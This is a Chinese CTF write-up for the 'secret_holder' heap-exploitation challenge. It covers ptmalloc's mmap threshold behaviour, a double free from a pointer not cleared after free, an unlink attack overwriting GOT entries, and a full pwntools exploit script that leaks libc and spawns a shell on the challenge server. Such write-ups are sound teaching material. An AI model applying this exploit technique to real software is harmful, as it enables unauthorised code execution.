XCTF/BUU-secret_holder-WP

Posted on Mar 6, 2021

XCTF 提供了莫名其妙的附件,不能解压。所以只好自己找 binary。下载链接

前置知识

这道题出现了 mmap 的情况,这是我之前不曾碰到过的。

红框中申请了一个巨大的空间,引用华庭《glibc内存管理ptmalloc源代码分析》中的分析

当用户的请求超过 mmap 分配阈值,并且主分配区使用 sbrk()分配失败的时候,或是非 主分配区在 top chunk 中不能分配到需要的内存时,ptmalloc 会尝试使用 mmap()直接映射一 块内存到进程内存空间。使用 mmap()直接映射的 chunk 在释放时直接解除映射,而不再属 于进程的内存空间。

当 ptmalloc munmap chunk 时,如果回收的 chunk 空间大小大于 mmap 分配阈值的当前 值,并且小于 DEFAULT_MMAP_THRESHOLD_MAX(32 位系统默认为 512KB,64 位系统默认 为 32MB),ptmalloc 会把 mmap 分配阈值调整为当前回收的 chunk 的大小,并将 mmap 收 缩阈值(mmap trim threshold)设置为 mmap 分配阈值的 2 倍。这就是 ptmalloc 的对 mmap 分配阈值的动态调整机制,该机制是默认开启的

这里可以知道,当我们第一次申请一个 Huge Secret 时,分配器会通过 mmap 来直接映射内存,这样我们几乎无法利用,但是当我们 free 掉这个 Huge Secret 之后,再一次申请就不会通过 mmap 来了,而是先通过 brk 来增加 heap 区大小,然后直接分割分配。

漏洞点

主要的漏洞点就是这里在 free 过后未给指针置零,当然 UAF 仍然是困难的,因为有变量记录了分配情况,但是 double free 是很容易实现的,不难想到可以通过 unlink 实现任意地址读写。

解法

首先申请并删除两次 Huge Secret,让这个 chunk 可以被分配在 heap 区段,然后 Small Secret 和 Big Secret 各申请一个并删去,注意要后分配先删除 Big Secret,这样才可以还原 top_chunk,然后在申请一个 Huge Secret,这个时候堆的结构是这样的(注意 small 和 big secret 都是实际不存在的,但是我们仍然有指向他们的指针)

我们通过 Renew Huge Secret,就可以伪造 chunk。至于实现 unlink 及之后的操作,都是老套路,这里不详细说,只提两点,一是这里指向 chunk 的指针应该用指向 Huge Secret 的指针,若用 Small Secret 的指针我们还是无法写入;二是要用 one_gadget 来 getshell,用 system 又会出现奇怪找不到的错误(上一次),不过这里 atoi@got 已经被成功改写为了 system,输入 sh 还是可以 getshell 的。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux','splitw','-h']
#context.log_level = 'debug'

def Keep(secret_type,payload):
    sh.sendlineafter("3. Renew secret\n",'1')
    sh.sendlineafter("3. Huge secret\n",str(secret_type))
    sh.sendafter("secret: \n",payload)

def Wipe(secret_type):
    sh.sendlineafter("3. Renew secret\n",'2')
    sh.sendlineafter("3. Huge secret\n",str(secret_type))

def Renew(secret_type,payload):
    sh.sendlineafter("3. Renew secret\n",'3')
    sh.sendlineafter("3. Huge secret\n",str(secret_type))
    sh.sendafter("secret: \n",payload)

elf = ELF("./SecretHolder")
#sh = process("./SecretHolder")
sh = remote("111.200.241.244",32912)

Keep(3,'\n')
Wipe(3)
Keep(3,'\n')
Wipe(3)
Keep(1,'\n')
Keep(2,'\n')
Wipe(2)
Wipe(1)

huge_ptr_addr = 0x6020A8
fake_chunks = p64(0) + p64(0x21)
fake_chunks += p64(huge_ptr_addr - 0x18) + p64(huge_ptr_addr - 0x10)
fake_chunks += p64(0x20) + p64(0x100)
fake_chunks += ''.ljust(0xF0,'\x00')
fake_chunks += p64(0) + p64(0x21) * 0x10
Keep(3,fake_chunks + '\n')

Wipe(2)
payload = p64(0) + p64(0) + p64(elf.got["free"]) + p64(elf.got["atoi"]) + p64(elf.got["atoi"])
payload += p32(1) * 3
Renew(3,payload + '\n')
#gdb.attach(proc.pidof(sh)[0])

Renew(2,p64(elf.symbols["puts"]))
Wipe(3)
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.success('atoi_addr:' + hex(atoi_addr))
libcs = LibcSearcher("atoi",atoi_addr)
libc_base = atoi_addr - libcs.dump("atoi")
system_addr = libc_base + libcs.dump("system")
one_gadget = libc_base + 0x4647c
#Renew(1,p64(system_addr) + '\n')
Renew(1,p64(one_gadget) + '\n')

sh.sendline('\x00')
#sh.sendline("cat flag\x00")

sh.interactive()